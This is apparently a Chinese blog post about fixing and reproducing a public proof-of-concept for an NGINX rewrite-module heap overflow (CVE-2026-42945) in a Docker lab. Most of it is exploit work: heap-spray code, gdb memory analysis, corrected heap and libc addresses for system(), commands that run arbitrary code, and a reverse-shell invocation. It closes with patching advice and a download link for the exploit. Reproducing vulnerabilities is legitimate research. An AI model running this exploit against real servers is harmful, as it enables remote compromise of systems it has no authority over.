Nginx Rift (CVE-2026-42945) PoC 调试与复现笔记
原创
MicroPest
MicroPest
MicroPest
2026年7月4日 20:35
安徽
在小说阅读器读本章
去阅读
CVE-2026-42945(代号 \"NGINX Rift\")是一个存在于 NGINX ngx\_http\_rewrite\_module 中的堆缓冲区溢出漏洞,CVSS v4 评分 9.2(Critical)。该漏洞由 depthfirst 安全研究团队于 2026 年 4 月发现,自 2008 年引入 NGINX 0.6.27 版本以来已潜伏 18 年。
github地址:https://github.com/DepthFirstDisclosures/Nginx-Rift,
这是一篇记录从 PoC 运行失败(如下图原因所示)到完整 RCE 打通的全过程的详细文章,全网都没有(至少目前我没有找到),难度极高,在AI的帮助下完成。
一、项目背景
CVE-2026-42945 是 NGINX ngx\_http\_rewrite\_module 中的一个堆缓冲区溢出漏洞,影响 NGINX Open Source 0.6.27 至 1.30.0,存活约 18 年。该 PoC(Nginx-Rift)利用 rewrite 与 set 指令组合触发堆溢出,通过覆盖 ngx\_pool\_t 的 cleanup 指针劫持控制流,最终调用 system() 实现远程代码执行(RCE)。
项目仓库:Nginx-Rift-main - poc.py:主利用脚本 - env/:Docker 测试环境 - setup.sh:构建脚本
二、测试环境
容器启动命令: bash docker compose -f env/docker-compose.yml up
三、初始状态:PoC 运行异常
3.1 现象
执行 PoC 后,脚本报告 “crashed” 并退出:
python3 poc.py --cmd 'echo hello from depthfirst > /tmp/pwned'
输出:
[+] try 1/10 crashed — system(\"echo hello from depthfirst > /tmp/pwned\") executed
[+] Done.
但验证文件时失败:
docker exec
cat: /tmp/pwned: No such file or directory
说明:没有成功。
3.2 初步误判
最初误以为 try 1/10 crashed 表示 RCE 成功。后续通过 ps 和 error.log 确认: - nginx worker 确实发生了 SIGSEGV 崩溃 - 但 system() 并未正确执行命令 - 崩溃发生在 ngx\_destroy\_pool 的 c->handler(c->data) 调用路径。
四、调试过程
4.1 分析 core dump 定位崩溃点
从 /app/tmp/core.\* 分析崩溃位置:gdb /nginx-src/build/nginx /app/tmp/core.69 -batch -ex \"bt\" -ex \"info registers\" -ex \"quit\"
关键发现: - 崩溃在 ngx\_destroy\_pool 的 c->handler(c->data) - pool = 0x55555576dc00 - rdi = 0x2d746e65746e6f43(即 \"Content-\" 字符串) - 说明 pool->cleanup 指针被覆盖成了 HTTP header 数据地址,而非 spray body 中的 fake struct
4.2 发现 HEAP\_BASE 错误
查看 /proc/
555555554000-555555576000 r--p 00000000 /nginx-src/build/nginx
555555576000-55555562c000 r-xp 00022000 /nginx-src/build/nginx
55555562c000-555555656000 r--p 000d8000 /nginx-src/build/nginx
555555657000-555555659000 r--p 00102000 /nginx-src/build/nginx
555555659000-55555566f000 rw-p 00104000 /nginx-src/build/nginx ← .data/.bss
55555566f000-555555691000 rw-p 00000000
555555691000-5555556f6000 rw-p 00000000 [heap]
5555556f6000-555555717000 rw-p 00000000 [heap]
关键发现:PoC 中 HEAP\_BASE = 0x555555659000 实际上是 nginx 的 .data/.bss 段,而非堆基址。真正的堆基址是 0x555555691000。
实际 pool 地址 0x55555576dc00 相对 .data/.bss 基址的偏移为 0x114C00,而原 PoC 的 PREREAD\_HEAP\_OFFSETS 最大只到 0x10d467,完全没有覆盖到实际的 spray body 位置。
4.3 定位 spray body 地址
通过保持 spray 连接并搜索内存,最终找到 spray body 中的命令字符串:
发送 spray 并保持连接
python3 -c \"
import socket, time
s = socket.create\_connection(('127.0.0.1', 19321), timeout=5)
body = b'B' \* 4000
req = b'POST /spray HTTP/1.1\r\
Host: l\r\
Content-Length: 4000\r\
X-Delay: 60\r\
Connection: close\r\
\r\
' + body
s.sendall(req)
time.sleep(60)
\"
在容器内搜索命令字符串
gdb -p
输出示例: 0x5555556b347f 0x5555556b9ebf 0x55555571219f ...
通过 addr\_is\_safe 过滤,确定可用的 fake struct 地址: - 命令字符串在 0x5555556b347f - fake struct 在其前 24 字节:0x5555556b347f - 24 = 0x5555556b3467 - 地址字节 55 55 55 6b 34 67 全部通过 URI 安全过滤 ✅
验证 fake struct 内容:
gdb -p
输出: 0x5555556b3467: 0x00007ffff780ad70 0x0000555555772148 0x5555556b3477: 0x0000000000000000 0x742f206863756f74 0x5555556b347f: \"touch /tmp/rift\_pwned\"
4.4 发现 SYSTEM\_ADDR 错误
修改 HEAP\_BASE 和 PREREAD\_HEAP\_OFFSETS 后,RCE 仍然失败。分析新的 core dump:
0 0x00007ffff780ad73 in \\\_strfmon\_l (s=0x5555556b347f \"touch /tmp/rift\_pwned\", ...)
关键发现:PoC 调用的不是 system(),而是 \\\_strfmon\_l!
原因:LIBC\_BASE = 0x7ffff77ba000 取值错误,导致 SYSTEM\_ADDR = LIBC\_BASE + 0x50d70 = 0x7ffff780ad70 指向了 strfmon\_l 区域,而非真正的 system()。
通过段映射计算真实 system() 地址:
libc .text 加载地址 = 0x7ffff77e0000
.text 文件偏移 = 0x28000
system() 文件偏移 = 0x50d70
真实 system() = 0x7ffff77e0000 + (0x50d70 - 0x28000)
= 0x7ffff77e0000 + 0x28d70
= 0x7ffff7808d70
因此应将 LIBC\_BASE 改为 libc 文件起始映射地址 0x7ffff77b8000:
SYSTEM\_ADDR = 0x7ffff77b8000 + 0x50d70 = 0x7ffff7808d70
五、最终修复方案
修改 poc.py 中的以下三处:
5.1 修改 HEAP\_BASE 和 PREREAD\_HEAP\_OFFSETS
HEAP\_BASE = 0x5555556b3467
PREREAD\_HEAP\_OFFSETS = [
0x000000,
]
5.2 修改 LIBC\_BASE
LIBC\_BASE = 0x7ffff77b8000
SYSTEM\_ADDR = LIBC\_BASE + 0x50d70
六、验证结果
1、重新运行 PoC:
python3 poc.py --cmd 'touch /tmp/rift\_pwned'
输出: [\*] Waiting for nginx on 127.0.0.1:19321... [+] Connected. [+] try 1/10 crashed — system(\"touch /tmp/rift\_pwned\") executed [+] Done.
2、验证文件:
docker exec
-rw-r--r-- 1 nobody nogroup 0 Jul 4 11:18 /tmp/rift\_pwned
文件由 nobody 用户创建,证明 nginx worker 进程成功执行了任意命令,RCE 完全打通。
3、获取反向 Shell:
攻击端
python3 poc.py --shell --listen-ip 172.17.0.1 --listen-port 1337
执行任意命令:
python3 poc.py --cmd 'whoami > /tmp/pwned && id >> /tmp/pwned'
docker exec b64932700bbf cat /tmp/pwned
如上图,拿到了shell。
七、关键问题总结
🛠️ Nginx RCE 漏洞利用调试全流程记录
\\核心目标\\:利用 Nginx 内存损坏漏洞,成功执行
system()创建文件/tmp/rift\\_pwned
📦 阶段一:环境搭建与初始验证
\\1. 启动 Docker 测试环境\\
docker compose -f env/docker-compose.yml up
\\2. 运行初始 PoC 攻击脚本\\
python3 poc.py --cmd 'touch /tmp/x'
\\3. 观察运行结果\\
| 预期现象 | 实际现象 | 状态 |
| :--- | :--- | :---: |
| 在容器内生成 /tmp/x 文件 | PoC 虽报 \"crashed — system() executed\",但文件不存在 | ❌ \\失败\\ |
\\初步诊断\\:目标函数虽被触发,但参数传递或内存布局存在偏差,需深入调试。
🔬 阶段二:Core Dump 深度分析(定位内存布局问题)
\\4. GDB 分析 Core Dump 崩溃点\\
gdb /nginx-src/build/nginx /app/tmp/core.\*
-
\\崩溃位置\\:
ngx\\_destroy\\_pool内的c->handler() -
\\关键线索\\:寄存器
rdi指向字符串\"Content-\",表明 \\cleanup 指针被意外覆盖为 HTTP 头地址\\。
\\5. 诊断堆(Heap)基址严重偏差\\
- 检查进程内存映射:
cat /proc/
- \\发现矛盾\\:
- 原脚本使用的 HEAP\\_BASE=0x555555659000 实际指向 .data/.bss 段
- 真正的堆区起始在 0x555555691000
- Nginx pool 结构体位于 0x55555576dc00,导致原偏移列表完全失效
\\6. 定位 Spray 攻击载荷(Body)\\
-
保持 Spray 长连接,利用 GDB 搜索
\"touch\"字符串: -
\\搜寻结果\\:
- 实际命令字符串(cmd)地址:0x5555556b347f
- 伪造结构体(fake\\_struct)地址:0x5555556b3467
- ✅ 验证该地址可通过
addr\\_is\\_safe检查
⚙️ 阶段三:修正地址与偏移配置(初版修复尝试)
\\7. 更新 HEAP\_BASE 与偏移列表\\
根据 Spray 内存布局,修改利用脚本参数:
HEAP\_BASE = 0x5555556b3467 # 对准 fake\_struct
PREREAD\_HEAP\_OFFSETS = [0] # 精简偏移扫描
\\8. 二次运行——结果依然失败\\
-
新生成的 Core Dump 显示崩溃函数变为
\\_\\_\\_strfmon\\_l -
❌ \\结论\\:调用地址仍然错误,实际跳转目标并非
system(),而是 Libc 中的其他函数
🧮 阶段四:根治 Libc 基址计算错误
\\9. 诊断 Libc 基址偏移\\
- 提取
system()在 Libc 文件中的偏移量:
readelf -s libc.so.6 | grep system
-
计算得出:
system()文件偏移 = \\0x50d70\\ -
\\错误分析\\:原 PoC 中的
LIBC\\_BASE取值导致计算结果偏移了0x2000字节:
- 错误计算:0x7ffff780ad70 → 实际落点到了 strfmon\\_l
- 正确地址应为:0x7ffff7808d70
\\10. 修正 LIBC\_BASE 变量\\
将运行时的 Libc 基址修正为实际加载地址:
LIBC\_BASE = 0x7ffff77b8000
SYSTEM\_ADDR = LIBC\_BASE + 0x50d70 # 结果为 0x7ffff7808d70
🏆 阶段五:最终验证(RCE 成功)
\\11. 执行最终攻击并验证\\
- 重新运行修正后的 PoC:
python3 poc.py --cmd 'touch /tmp/rift\_pwned'
- 进入容器检查命令执行结果:
docker exec
| 检查项 | 结果 |
| :--- | :---: |
| 文件 /tmp/rift\\_pwned 是否存在 | ✅ \\是\\ |
| 文件属主 | nobody(Nginx 工作进程权限) |
| 最终状态 | 🎉 \\远程代码执行(RCE)成功\\ |
📌 核心经验总结
-
\\基址动态性\\:堆基址(Heap Base)与 Libc 基址在不同环境、甚至不同运行次数下可能变化,不可硬编码。
-
\\验证优于假设\\:务必通过
/proc/<pid>/maps或 GDB 动态获取准确内存地址。 -
\\偏移精确性\\:
system()在 Libc 中的偏移需通过readelf精确提取,误差0x2000字节即可导致跳转到完全无关的函数(如strfmon\\_l)。
八、安全建议
升级 NGINX:立即升级至 1.31.0+ / 1.30.1+
配置审计:避免 rewrite 替换字符串含 ? 且同时使用 set 指令
开启 ASLR:生产环境严禁禁用地址随机化
WAF 防护:部署规则检测 URI 中超长连续 + 序列
九、附录:调试命令速查
查看容器内 nginx worker PID
ps aux | grep \"nginx: worker\"
查看进程内存映射
cat /proc/
分析 core dump
gdb /nginx-src/build/nginx /app/tmp/core.
搜索内存中的命令字符串(需保持 spray 连接)
gdb -p
查看 fake struct 内容
gdb -p
确认 system() 真实地址
readelf -s /usr/lib/x86\_64-linux-gnu/libc.so.6 | grep \" system@\"
通过网盘分享的文件:485-Nginx-Rift-main.rar
链接: https://pan.baidu.com/s/1vWFJEOzb4RuyEdfplbOeMg?pwd=kfen 提取码: kfen
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论